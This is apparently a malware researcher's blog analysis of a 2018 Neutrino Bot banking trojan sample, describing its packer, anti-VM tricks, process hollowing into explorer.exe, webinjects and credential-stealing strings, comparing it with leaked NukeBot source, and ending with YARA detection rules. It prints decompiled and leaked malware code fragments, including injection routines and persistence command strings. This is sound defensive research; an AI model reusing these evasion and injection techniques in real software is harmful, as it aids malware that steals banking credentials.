Analysis of Neutrino Bot Sample (dated 2018-08-27)

peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html



In this post I analyze a Neutrino Bot sample. It was probably generated 2018-08-27. I will compare the analyzed Neutrino sample with the NukeBot's source code that was leaked on spring, 2017, and I will check that Neutrino Bot is probably an evolution (or, at least, it reuses parts) of the <u>NukeBot leaked code</u>.

- Original Packed Sample: <u>3F77B24C569600E73F9C112B9E7BE43F</u>
- Automatic Generated Report: <u>PepperMalware Report</u>
- Virustotal First Submission: 2018-08-28 14:36:26
- Sample Creation Date: 2018-08-27
- Unpacked Banker Module: <u>896609A8EE8CC860C2214FCD1E3CF264</u>
- Internal executable id: aug27
- Related links:
 - https://www.malware-traffic-analysis.net/2018/08/21/index2.html
 - https://twitter.com/malware_traffic/status/1032066941953945600
 - <u>https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/</u>
 - https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

Analysis

- 1. Loader
 - 1.1. First stage packer
 - 1.2. Second stage, custom packer / injector
 - 1.2.1. Antidebug Tricks
 - 1.2.1.1. Antidebug tricks: API Obfuscation

- 1.2.1.2. Antidebug tricks: Time Tricks
- 1.2.1.3. Antidebug tricks: HKCU\Software\Microsoft\Windows\Identifier
- 1.2.1.3. Antidebug tricks: CPUID checks
- 1.2.1.4. Antidebug tricks: Walk running processes searching for wellknown names
- 1.2.1.5. Antidebug tricks: Walk own process' modules searching for wellknown names
- 1.2.1.6. Antidebug tricks: IsDebuggerPresent / CheckRemoteDebuggerPresent
- 1.2.2. Injection
- 1.2.3. Other details
- 1.2.3.1. Botld and mutex
- 1.2.3.2. PRNG
- 2. Banker module
 - 2.1. WebInjects
 - 2.2. Browser hooks
 - 2.3. Other stealer capabilities
- 3. Similarities with NukeBot leaked source code
 - 3.1. InjectDII function at banker module
 - 3.2. Hollow-process explorer.exe
 - 3.3. Random Botld
- 4. Yara rules
- 5. Conclussions

1. Loader

1.1. First stage packer

In the first stage, the sample is packed with an usual packer that allocates a memory block where it copies a shellcode that decrypts a second stage code, and that second stage code is overwritten over the original PE in memory.



1.2. Second stage, custom packer / injector

This second stage is an executable that is unpacked over the original executable in memory. This second stage perfoms some antidebug tricks such as VM detection and API calls obfuscation. In addition, it decrypts the third stage PE: the main banking code, and it injects this third stage PE to explorer.exe process.

1.2.1. Antidebug Tricks

The analyzed sample performs a somo usual antidebug tricks. From analyzed sample (IDA decompiled):



1.2.1.1. Antidebug tricks: API Obfuscation

In the Neutrino Bot loader, each time a API is going to be called, it is got from a hash.

push	3C7BFD71h ; kernel32!CreateProcessW
push	1
call	<pre>get_api_pointer_by_hash ; Call Procedure</pre>
push	7194822Ah ; kernel32!WaitForSingleObject
push	1
mov	edi, eax
call	<pre>get_api_pointer_by_hash ; Call Procedure</pre>
push	OFABA0EEBh ; kernel32!CloseHandleImplementation
push	1
mov	<pre>[ebp+WaitForSingleObject], eax</pre>
call	<pre>get_api_pointer_by_hash ; Call Procedure</pre>

It seems to be using a custom hash algorithm, not crc32 or similar well-known algorithm (frequently used by other malware families).

1.2.1.2. Antidebug tricks: Time Tricks

The analyzed sample plays with GetTickCount and waits (Sleep and WaitForSingleObject), performing usual tricks to detect that it is running into a VM. From analyzed sample (IDA decompiled):



1.2.1.3. Antidebug tricks: HKCU\Software\Microsoft\Windows\Identifier

The analyzed sample checks the key: HKCU\Software\Microsoft\Windows value: Identifier, it hashs the content of that value with <u>Fowler–Noll–Vo hash algorithm</u> and it compares the hash with 0xC9C8F009. I don't know exactly what content would match this hash, but probably it matchs an specified content for some wellknown VMs (virtualbox, vmware, ...). From analyzed sample (IDA decompiled):



1.2.1.3. Antidebug tricks: CPUID checks

The analyzed sample executes cpuid instruction to get cpu information, then it calculates a fowler-noll-vo hash with the information returned by cpuid, and compares that hash with a set of values: 0x3A72221D, 0xB609E57D, 0x11482F93, 0xA7C9423F, 0x7816EDDD, 0x6361F34. I don't know exactly the original data causing these hashes, but probably they are values returned by cpuid related to wellknown VMs such as vmware, virtualbox, etc... From analyzed sample (IDA decompiled):

```
char check_cpuid()
 int v5; // eax
 int v6; // ecx
 int v8; //
            [esp+4h] [ebp-38h]
 int v9; // [esp+8h] [ebp-34h]
 int v10; //
              [esp+Ch] [ebp-30h]
 int v11; //
              [esp+10h]
                        [ebp-2Ch]
 int v12; //
                         [ebp-28h]
              [esp+14h]
 int v13; //
              [esp+18h]
                         [ebp-24h]
               [esp+1Ch]
 int v14;
                         [ebp-20h]
 int v15;
               [esp+20h]
                         [ebp-1Ch]
 int v16;
               [esp+24h]
                         [ebp-18h]
 int v17; //
                         [ebp-14h]
              [esp+28h]
              [esp+2Ch]
                         [ebp-10h]
 int v18; //
              [esp+30h]
 int v19; //
                         [ebp-Ch]
              [esp+34h]
                         [ebp-8h]
 int v20; //
 int v21; // [esp+38h] [ebp-4h]
 v21 = 0;
 EAX = 0x40000000;
  _asm { (
                     CPU ID }
 v14 = _EAX;
 v15 = _EBX;
 v16 = _ECX;
 v17 = _EDX;
 v18 = EBX;
 v19 = ECX;
 v8 = 0x3A72221D;
 v9 = 0x8609E57D;
 v10 = 0x11482F93;
 v11 = 0xA7C9423F;
 v12 = 0x7816EDDD;
 v13 = 0x6361F34;
 v20 = _EDX;
             32_fnv1a(&v18);
 v5 =
 v6 = 0;
 while ( v5 != (*(&v8 + v6) ^ 0xE8E) )
   if ( (unsigned int)++v6 >= 6 )
     return 0;
 return 1;
```

1.2.1.4. Antidebug tricks: Walk running processes searching for wellknown process's names

The analyzed sample calls toolhelp32's functions to walk running processes. Again, it calculates the fowler-noll-vo hash foreach process name and compares against a set of precalculated hashes: 0x4FAEA2EB, 0x689ED848, 0x57337435, 0xE8BC3AB9, 0x3C30BBA6, 0xA421254D, 0x26638D6A, 0xE3449C1. These hashes probably correspond to names such as vmtoolsd.exe and other well known processes associated to VMs and security products.From analyzed sample (IDA decompiled):

<pre>char AntidebugCheckProcesses()</pre>
int v0; // esi
<pre>int v2; // [esp+4h] [ebp-20h]</pre>
<pre>int v3; // [esp+8h] [ebp-1Ch]</pre>
<pre>int v4; // [esp+Ch] [ebp-18h]</pre>
<pre>int v5; // [esp+10h] [ebp-14h]</pre>
int v6; // [esp+14h] [ebp-10h]
int v7; // [esp+18h] [ebp-Ch]
int v8; // [esp+1Ch] [ebp-8h]
int v9; // [esp+20h] [ebp-4h]
$v^2 = 0x4FAEA2EB;$
v3 = 0x689ED848;
v4 = 0x57337435;
$v5 = 0 \times E8BC3AB9;$
v6 = 0x3C30BBA6;
$\sqrt{7} = 0 \times A421254D;$
v8 = 0x26638D6A;
√9 = 0xE3449C1;
<pre>while (Process32FirstNext(*(&v2 + v0) ^ 0xE8E) != 1)</pre>
<pre>if ((unsigned int)++v0 >= 8)</pre>
return 0;
1
return 1;

1.2.1.5. Antidebug tricks: Walk own process' modules searching for wellknown module' names

In addition, it walks the modules of the current process searching for wellknown libraries such as SbieDII.dll, etc... It compares the fowler-noll-vo hash of each module's name with the following set of hashes: 0xCC23DB0E, 0xCCFE57BB, 0x9FECD578, 0xE69D9465, 0xC55CC270, 0x601CDCE9, 0x9DF7C709, 0x23E9F2F5, 0x70E2598E, 0x2C82D8A, 0x99CC8618, 0xB62000C5. From analyzed sample (IDA decompiled):

```
:har AntidebugCheckProcessesModules()
 int v0; // esi
 int v1; // ST04_4
 DWORD v2; // eax
 int v4; // [esp+4h] [ebp-30h]
 int v5; // [esp+8h] [ebp-2Ch]
 int v6; // [esp+Ch] [ebp-28h]
 int v7; // [esp+10h] [ebp-24h]
 int v8; // [esp+14h]
                      [ebp-20h]
 int v9; // [esp+18h] [ebp-1Ch]
 int v10; // [esp+1Ch] [ebp-18h]
 int v11; // [esp+20h]
                        [ebp-14h]
             [esp+24h]
 int v12; //
                        [ebp-10h]
 int v13; // [esp+28h] [ebp-Ch]
 int v14; // [esp+2Ch] [ebp-8h]
 int v15; // [esp+30h] [ebp-4h]
 v4 = 0xCC23DB0E;
 v5 = 0xCCFE57BB;
 v6 = 0x9FECD578;
 v7 = 0xE69D9465;
 v8 = 0xC55CC270;
 v9 = 0x601CDCE9;
 v10 = 0x9DF7C709;
 v11 = 0x23E9F2F5;
 v12 = 0x70E2598E;
 v13 = 0x2C82D8A;
 v14 = 0x99CC8618;
 v15 = 0xB62000C5;
 v0 = 0;
 while (1)
   v1 = *(&v4 + v0) ^ 0xE8E;
   v2 = GetCurrentProcessId();
   if ( |
                 FirstNext(v2, v1) == 1 )
     break;
   if ( (unsigned int)++v0 >= 0xC )
     return 0;
 }
 return 1;
```

1.2.1.6. Antidebug tricks: IsDebuggerPresent / CheckRemoteDebuggerPresent

Not necesary explanation, usual antidebug checks:



1.2.1.7. Antidebug tricks: Query device' names

The analyzed sample calls QueryDosDeviceW to get a list of devices, and calculates the fowler-noll-vo hash foreach name, and then compares each name with a set of values: 0x5C86B533, 0x7F65B61C, 0x464768AD, 0x9A781952. It tries to detect VM's common devices, such as vmci or HGFS. From analyzed sample (IDA decompiled):



1.2.2. Injection

The analyzed sample decrypts the third stage PE (the banking module) by using the RC4 algorithm + decompression. It creates an explorer.exe instance, and it will inject the decrypted PE into the address space of that explorer.exe instance (hollow process). From analyzed sample (IDA decompiled):

```
(v13, v17, v16, 0x1D642);
/33 = 0;
   = 0;
                            (0, (int)v13, 0x1D642, v34, 0x1D642, &v37, &v33) >= 0 )
 CreateProcessW = (int (_stdcall *)(int, _DWORD, _DWORD, _DWORD, _DWORD, signed int, _DWORD, _DWORD, int '
WaitForSingleObject = (int (_stdcall *)(HANDLE, signed int))get_api_pointer_by_hash(1, 0x7194822A);
CloseHandle = (void (_stdcall *)(int))get_api_pointer_by_hash(1, 0xFABA0EEB);
memcpy(&handle, 0, 0x10u);
         (&v28, 0, 0x44u);
   28 = 68;
 if ( *(_BYTE *)(
                                      + 43))
                                                           (37, 0, L"explorer.exe", 0);// CSIDL WINDOWS
    explorer_path =
 else
                                                         nd(36, 0, L"explorer.exe", 0);// CSIDL_SYSTEM
    explorer_path =
  temp = explorer_path;
     ( CreateProcessW(explorer_path, 0, 0, 0, 0, 4, 0, 0, &v28, &handle) )
     /20 = v37;
    if ( !(unsigned int8)
                                                  •v(v37)
          *v20 |= 23117
                                                        i((int)v37, (int)handle) != 1
          (v21 = WaitForSingleObject(handle, 30000), v21 != 258) && v21 )
       TerminateProcess = (void (__thiscall *)(int, HANDLE, signed int))g
                                                                                                       ointer by hash(1, 0xF84EE0D7);
       TerminateProcess(v23, handle, 23);
```

1.2.3. Other details

1.2.3.1. BotId and mutex

The analyzed sample contains a kind of executable id, and the name of the mutex is created based on that executable id. In the case of the analyzed sample this exe id is "aug27", probably the date that it was generated (the virustotal first analysis date is 2018/08/28). From analyzed sample (IDA decompiled):



A fowler-noll-vo hash is calculated from the string "aug27". Later, it uses the calculated hash to initialize a PRNG (based on idum=1664525*idum+1013904223) to generate a random guid, that will be the name of the created mutex. From analyzed sample (IDA decompiled):



1.2.3.2. PRNG

From analyzed sample (IDA decompiled):

```
int *__cdecl gen_h2fmi_hash_table(int a1, int *a2
 int *result; // eax
 int v3; // edx
 int v4; // edx
  int v5; // edx
 unsigned int v6; // esi
 int v7; // edx
 result = a2;
 v3 = 1664525 * *a2 + 1013904223;
 a2 = v3;
 *(_DWORD *)a1 = v3;
 v4 = 0x19660D * *a2 + 0x3C6EF35F;
 a2 = v4;
 *(_WORD *)(a1 + 4) = v4;
v5 = 0x19660D * *a2 + 0x3C6EF35F;
 a2 = v5;
 #(_WORD #)(a1 + 6) = v5;
v6 = 0;
 do
  ł
   v7 = 0x19660D * *a2 + 0x3C6EF35F;
   a2 = v7;
    *(_BYTE *)(a1 + v6++ + 8) = v7;
  }
 while ( v6 < 8 );</pre>
 return result;
```

2. Banker module

The third stage is the banker module. You can find the unpacked banker module's dll that I unpacked <u>here</u>. It is quite similar to <u>this other dll</u> that was extracted by <u>@james_in_the_box</u> (you can read about at twitter, <u>here</u>) from a sample shared by <u>@malware_traffic</u>, <u>here</u>.

This is a list of strings of the Neutrino Bot unpacked banker module.

2.1. WebInjects

The banker module performs webinjects. The following parts of code manage the downloaded injects (IDA decompiled):





2.2. Browser hooks

It performs hooks at frequently targetted nss3 and wininet APIs at browsers.

Nss3 hooks (IDA decompiled):



Wininet hooks (IDA decompiled):



2.3. Other stealer capabilities

Other strings found into the banker module reveal additional stealer capabilities:

.rdata:1002	0000001C	С	%s\\Thunderbird\\profiles.ini
.rdata:1002	00000005	С	Path
.rdata:1002	00000009	С	ProfileO
.rdata:1002	0000001E	С	%s\\Thunderbird\\%s\\logins.json
.rdata:1002	00000009	С	NSS_Init
.rdata:1002	000000D	С	\"hostname\":\"
.rdata:1002	00000016	С	\"encryptedUsername\":\"
.rdata:1002	00000016	С	\"encryptedPassword\":\"
.rdata:1002	00000005	С	NULL
.rdata:1002	00000013	С	HTTPMail User Name
.rdata:1002	00000010	С	HTTPMail Server
.rdata:1002	00000013	С	HTTPMail Password2
.rdata:1002	0000000F	С	POP3 User Name
.rdata:1002	0000000C	С	POP3 Server
.rdata:1002	0000000F	С	POP3 Password2
.rdata:1002	0000000F	С	IMAP User Name
.rdata:1002	0000000C	С	IMAP Server
.rdata:1002	0000000F	С	IMAP Password2
.rdata:1002 00	000035 C	Software\	Microsoft\\Internet Account Manager\\Accounts
.rdata:1002 00	00003F C	Software\	(Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts
rdata:1002 00	000012 C	Transfer-6	Incoding
.rdata:1002 00	000067 C	user_pref	(\"network.http.spdy.enabled\", false);'\r\nuser_pref(\"network.http.spdy.enabled.http2\", false);'\r\n

3. Similarities with NukeBot leaked source

Comparing some parts of the NukeBot code that was leaked on spring 2017 with the disassembled/decompiled code of the analyzed sample, we can check that there are similarities between them. Probably Neutrino Bot is an evolution or, at least, it reused code from NukeBot leaked code.

In this section, I comment about some parts of code where I found similarities, but probably, there are other parts of code that are very similar too.

3.1. InjectDII function at banker module

InjectDII is a function that appears in NukeBot leaked code and Neutrino Banker module.You can find the full code of both functions here:

• InjectDII source code from NukeBot leaked source: <u>https://pastebin.com/LL9PnVb6</u>

 InjectDII decompiled code from Neutrino Bot analyzed sample: <u>https://pastebin.com/K4cfUq4C</u>

Comparing both codes, we can check both functions are almost identical between NukeBot leaked source code and Neutrino analyzed sample. Probably this part of code was reused.

DWCRD64 hHtdl164 = GetHoduleHandle64((wchar_t *) Strs::wHtdl1);	<pre>v18 = GetModuleHandleh(L*atdll.dll*); bmst.la = (signad len)stat;</pre>
injectData64.aRtlInitAnsiString = GetProcAddress64(hHtdl	if (1v13)
injectData64.aRtlAnsiStringToUnicodeString = OctProcAddress64(hHtdl	return 0;
injectData64.aldrLoadD11 = GetProcAddress64(hitd1	"((DWORD *))pourter = 100aseAddress + *((DWORD *)v64 + 40);
injectuatao4.attractorocoure.cores = GetProcAddress64(hitd)	<pre>*((DuORD *)lpBuffer + 2) = lpBaseAddress + *((DuORD *)v64 + 32);</pre>
injectData - BinjectData64;	<pre>vi7 = GetProcidemess((HODOUE)/Hodole, "LdrLosdOll"); "((_DUGRD ")lpBuffer + 3) = v17; 1f (_UV7)</pre>
-	return 0)
<pre>If(INFITEProcessMemory54(InFracess, (DNORD54) payloadRemoteAddress,) return FALSE;</pre>	<pre>v16 = GetProcAddress((HODULE)hoodule, "LdrGetProcedureAddress");</pre>
if(UvriteProcessNeepry64(hProcess, (DADED64) payloadRepoteAddress +	1f (Ivis)
return FALSE;	<pre>v15 = GetProcAddress((HHOBULE)Wredule, "RtlInitAnsiString");</pre>
	((_DWORD *))powffer + 5) = v15;
DuCRD64 hThread;	return 0;
struct CLIENT_ID { DNORD64 UniqueProcess; DNORD64 UniqueThread; }; CLIENT_ID clientId:	<pre>v14 = GetProcAddress((HODULE)Woodule, "RtlDresteUnicodeStringFromAscile"); *((_DHORD *)lpBuffer + 6) = v14;</pre>
	1f (1v14)
DwCRD64 pRtlCreateUserThread = GetProcAddress64(hHtdll64, (char *)	<pre>if (WriteProcessMemory(hProcess, (UPV0ID))pParameter, lpBuffer, nSize, 0)</pre>
(Dx08064) navinadlemiteiddress + sizeof(InjectData64), (Dx08064)	return 0;
{	<pre>1f (WriteProcessMemory(MProcess, (UPVOID)(#Size + 1pParameter), v62, v56, return 8;</pre>
return FALSE;	v58 = VirtualProtectEx(hProcess, (LPV0ED)lpParameter, 0x10u, 0x20u, 8/101dPr
}	v22 = &VersionInformation
,	<pre>v25 = VirtualQuery(EversionInformation, Ev24, 0x1Cu); if (v25)</pre>
•	
<pre>sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders32 + 1);</pre>	if (v24.Protect & 1)
<pre>if(!Puncs::pWriteProcessMemory(hProcess, (PVOID) dllRemoteAddress, (</pre>	423 = 0; else
return ratio)	<pre>v23 = (v24.Protect & 0x100) == 0;</pre>
<pre>for(DuDRD i = 0; i < ntHeaders32->FileHeader.NumberOfSections; ++1)</pre>)
{	esse {
iv(sectionneader[1].SizeOfRamData == 0)	v23 = 0)
if(Ifuncs::pWriteProcessMemory(hProcess, (PVOID) ((BYTE *) dllRe	2 17 (103)
(PVOID) ((BYTE *) dllBuffer + sectionHeader[i].PointerToRawDar	menset((void *)v22, 0, 0x9Cu);
(patient ENISE)	VersionInformation.duOSVersionInfoSize = 284;
}	if (VersionInformation.du/Wator/ersion > 5)
1	{
Telectives21 (electives21)	<pre>v42 = GetProcAddress((HPCOULE)hVodule, "RtlCreateUserThread"); v41 = (/int / odec) f\/Nature</pre>
injectData32.base = (DuDRD) dllRemoteAddress;	hProcess,
injectOsta32.baseRelocation = (DNORD) (IMAGE_BASE_RELOCATION *) ((B)	о, ,
<pre>ntHeaders32->OptionalHeader.DataDirectory[IPAGE_DIRECTORY_ENTRY_</pre>	a
Interestantial Interestant - (Suman) (THESE THROAT DESCRIPTION 1) ((BVT)	e,
ntHeadersJ2->OptionalHeader.DataDirectory[IPHGE_DIRECTORY_ENTRY_	0, ofine + lofacemeter.
	lpfarameter,
HHODULE hHtdl1 = Funcs::pLoadLibraryA(Strs::ntd11);	8::40,
inject0ata32.a&t1InitAnsiString = (0x080) GetProcAddress	8139); ff (141 d 0)
injectOsta32.aRtlAnsiStringToUnicodeString = (DADRD) GetProcAddress	return 0;
injectData32.aLdrLoadD11 = (DxORD) GetProcAddress	if (v40)
Injectiveta32.aLdroetprocedureAddress = (0x0x0) GetProcAddress Injectilata32.akt1Eceelin1codeString = (0x0x0) GetProcAddress	((
	else if (ICreateRemoteThread(
injectDeta = &injectDeta32	hProcess,
([Funcs:::niriteProcessienery()//rocess. (Pr000) navleadlensteaddre	٥,
return FALSE;	(LPTHREAD_START_ROUTINE)(nSize + lpParameter),
	e,
if(IFuncs::piriteProcessMemory(hProcess, (BTTE *) payloadRemoteAddr	•))
return mate)	return A:
OSVERSIONENPOEXA coVersion = { 0 };	}
osVersion.dwO5VersionInfoSize = sizeof(osVersion);	
if (esversion.dwiajorVersion <= 5)	
(
<pre>if(IFuncs):pCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_STAR)</pre>	
return ratil;	
else	
(
NVIDLE hThread;	
if(Funcs):pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, (
return FALSE;	
·	

3.2. Hollow-process explorer.exe

The following parts of code from the neutrino and nukebot loader get the path of explorer.exe, create an instance of the process, and inject it (hollow process).

From NukeBot leaked source code:



From Neutrino analyzed sample's loader (IDA decompiled):



The code used to inject processes is quite similar between the leaked source code and the analyzed version:

From Nukebot leaked source code:



From Neutrino analyzed sample's loader (IDA decompiled):

```
if ( !WriteProcessMemoryStub(a2, v4, v7, 28, 0) || !WriteProcessMemoryStub(a2, v4 + 28, (int)"64", 13839, 0)
    return 0;
memcpy(&v10, 0, 0x9Cu);
v10 = 284;
GetVersionExWStub(&v10);
if ( v11 > 5 )
{
    RtlCreateUserThread = (int (__stdcall *)(int, _DWORD, _DWORD, _DWORD, _DWORD, int, int, char **, ch
    if ( RtlCreateUserThread(a2, 0, 0, 0, 0, 0, v4 + 28, v4, &VirtualAllocExStub, &v12) )
      return 0;
    if ( VirtualAllocExStub )
      CloseHandleImplementation(VirtualAllocExStub);
}
else if ( !CreateRemoteThreadStub(a2, 0, 0, v4 + 28, v4, 0, 0) )
{
    return 0;
    }
    return 1;
```

3.3. Random Botld

Both, leaked NukeBot and Neutrino, generate a random GUID that is used as botid and to create a mutex that the malware uses to know it is already running.

From NukeBot leaked code:

```
void GetBotId(char *botId)
  CHAR windowsDirectory[MAX PATH];
  CHAR volumeName[8] = { 0 };
  DWORD seed = 0;
  if(!Funcs::pGetWindowsDirectoryA(windowsDirectory, sizeof(windowsDirectory)))
     windowsDirectory[0] = L'C';
  volumeName[0] = windowsDirectory[0];
  volumeName[1] = ':';
  volumeName[2] = '\\';
  volumeName[3] = '\0';
  Funcs::pGetVolumeInformationA(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
  GUID guid;
  guid.Data1 =
                         PseudoRand(&seed);
  guid.Data2 = (USHORT) PseudoRand(&seed);
  guid.Data3 = (USHORT) PseudoRand(&seed);
  for(int i = 0; i < 8; i++)
     guid.Data4[i] = (UCHAR) PseudoRand(&seed);
  Funcs::pWsprintfA(botId, "%081X%041X%lu", guid.Data1, guid.Data3, *(ULONG*) &guid.Data4[2]);
```

Random GUID is used to create the mutex:



From Neutrino analyzed sample (IDA decompiled):

	<pre>ORD *cdecl generate_random_guid(int a1, int a2, int a3, char a4) int v4; // esi _WORD *v5; // edi char h2fmi_table; // [esp+8h] [ebp-14h] int generatedguid; // [esp+18h] [ebp-4h] v4 = 39; v5 = 0; gen_h2fmi_hash_table((int)&h2fmi_table, (int *)a1); generatedguid = generate_guid(&h2fmi_table, a4);</pre>
in {	<pre>tcdecl generate_guid(_BYTE *a1, char a2) int v2; // eax int v3; // esi const wchar_t *v4; // ecx v2 = doalloc(0x4Eu); v3 = v2;</pre>
	<pre>v4 = L"{%08X-%04X-%04X-%04X-%08X%04X}"; if (!s2) v4 = L"%08X-%04X-%04X-%08X%04X"; if (v2) generate_guid_wsprintfil(v2, 39, (int)v4</pre>
	<pre>(unsignedint8)a1[3] + (((unsignedint8)a1[2] + (((unsignedint8)a1[1] + ((unsigned (unsignedint8)a1[5] + (((unsignedint8)a1[4] << 8), ((unsignedint8)a1[6] << 8) + (unsignedint8)a1[7], (unsignedint8)a1[9] + (((unsignedint8)a1[8] << 8), ((unsignedint8)a1[12] + ((((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + (((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + ((((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + (((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + ((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + ((unsignedint8)a1[10] << 8) + (ursignedint8)a1[12] + ((unsignedint8)a1[10] << 8) + (ursignedint8)a1[10] << 8) + (ursignedint8)a</pre>
1	<pre>(unsignedint8)al[15] + ((unsignedint8)al[14] << 8)); return v3;</pre>

Random GUID is used to create the mutex:

```
lea
           eax, [ebp+hash_aug27] ; Load Effective Address
push
           ebx
push
           eax
           generate random guid ; Call Procedure
call
           ecx, dword_429F40
mov
           esp, 10h
[ecx+18h], eax
                                 ; Add
add
mov
           eax, ebx
                                 ; Compare Two Operands
cmp
           short loc_403436 ; Jump if Zero (ZF=1)
jz
           [ebp+var_1], 1
mov
           eax, dword_429F40
mov
push
           dword ptr [eax+4] ; 00230000 7b 00 39 00 42 00 39 00-32 00 43 00 30 00 41 00 {.9.B.9.2.C.0.A.
                                 ; 00230010 45 00 2d 00 33 00 45 00-32 00 37 00 2d 00 38 00 E.-.3.E.2.7.-.8.

      ; 00230020
      35 00 41 00 35 00 2d 00-32 00 30 00 46 00 46 00 5.A.5.-2.0.F.F.

      ; 00230030
      2d 00 35 00 32 00 38 00-39 00 35 00 34 00 41 00 -.5.2.8.9.5.4.A.

      ; 00230040
      33 00 41 00 36 00 43 00-44 00 7d 00 00 00 00 3.A.6.C.D.}....

push
push
           ebx
           [ebp+kernel32 CreateMutexWStub] ; Indirect Call Near Procedure
call
```

```
rule jimmy_08_2018 {
strings:
        $string1 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
/ve /t REG_SZ /d \"%ls\" /f" wide
        $string2 = "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"cmd.exe\" \"/c %ls\""
wide
        $string3 = "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"%ls\"" wide
        $string4 = "Rundll32.exe url.dll,FileProtocolHandler \"%ls\"" wide
        $string5 = "Rundll32.exe zipfldr.dll,RouteTheCall \"%ls\"" wide
        $string6 = "/a /c %s" wide
        $string7 = "%ls_%ls_DLL" wide
        $string8 = "Cookie: %s=%s;uid=%ls"
        $string9 = "%ls\\nss3.dll" wide
        $injects1 = "injects"
        $injects2 = "set_host"
        $injects3 = "set_path"
        $injects4 = "inject_setting"
        $injects5 = "data_keyword"
        $injects6 = "inject_before_keyword"
        $injects7 = "inject_after_keyword"
condition:
        (all of them)
}
```

Packer stage 2:

```
rule neutrino_packer_stage2_08_2018 {
strings:
    $code1 = { 6A 25 [0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 2A [0-15] 6A 25
[0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 25 [0-15] 6A 6C [0-15] 6A 73 }
    $code2 = { 6A 65 [0-15] 6A 78 [0-15] 6A 70 [0-15] 6A 6C [0-15] 6A 6F [0-15] 6A 72
[0-15] 6A 72 [0-15] 6A 2E [0-15] 6A 78 }
    $code3 = { 6A 6B [0-15] 6A 65 [0-15] 6A 72 [0-15] 6A 6E [0-15] 6A 65 [0-15] 6A 6C
[0-15] 6A 33 [0-15] 6A 32 [0-15] 6A 2E [0-15] 6A 73 [0-15] 6A 6C }
    $code4 = { 6A 25 [0-15] 6A 6C [0-15] 6A 73 [0-15] 6A 5C [0-15] 6A 25 [0-15] 6A 6C
[0-15] 6A 73 }
condition:
    all of them
}
```

5. Conclussions

We have analyzed a Neutrino Bot sample dated 2018/08/27. After analyzing the sample (3F77B24C569600E73F9C112B9E7BE43F), we have checked it could be an evolution (or at least, could be using parts) of the leaked NukeBot source code's loader. Nukebot / JimmyNukebot / NeutrinoBot / ... Probably, this set of families share code between them and are in continuous development.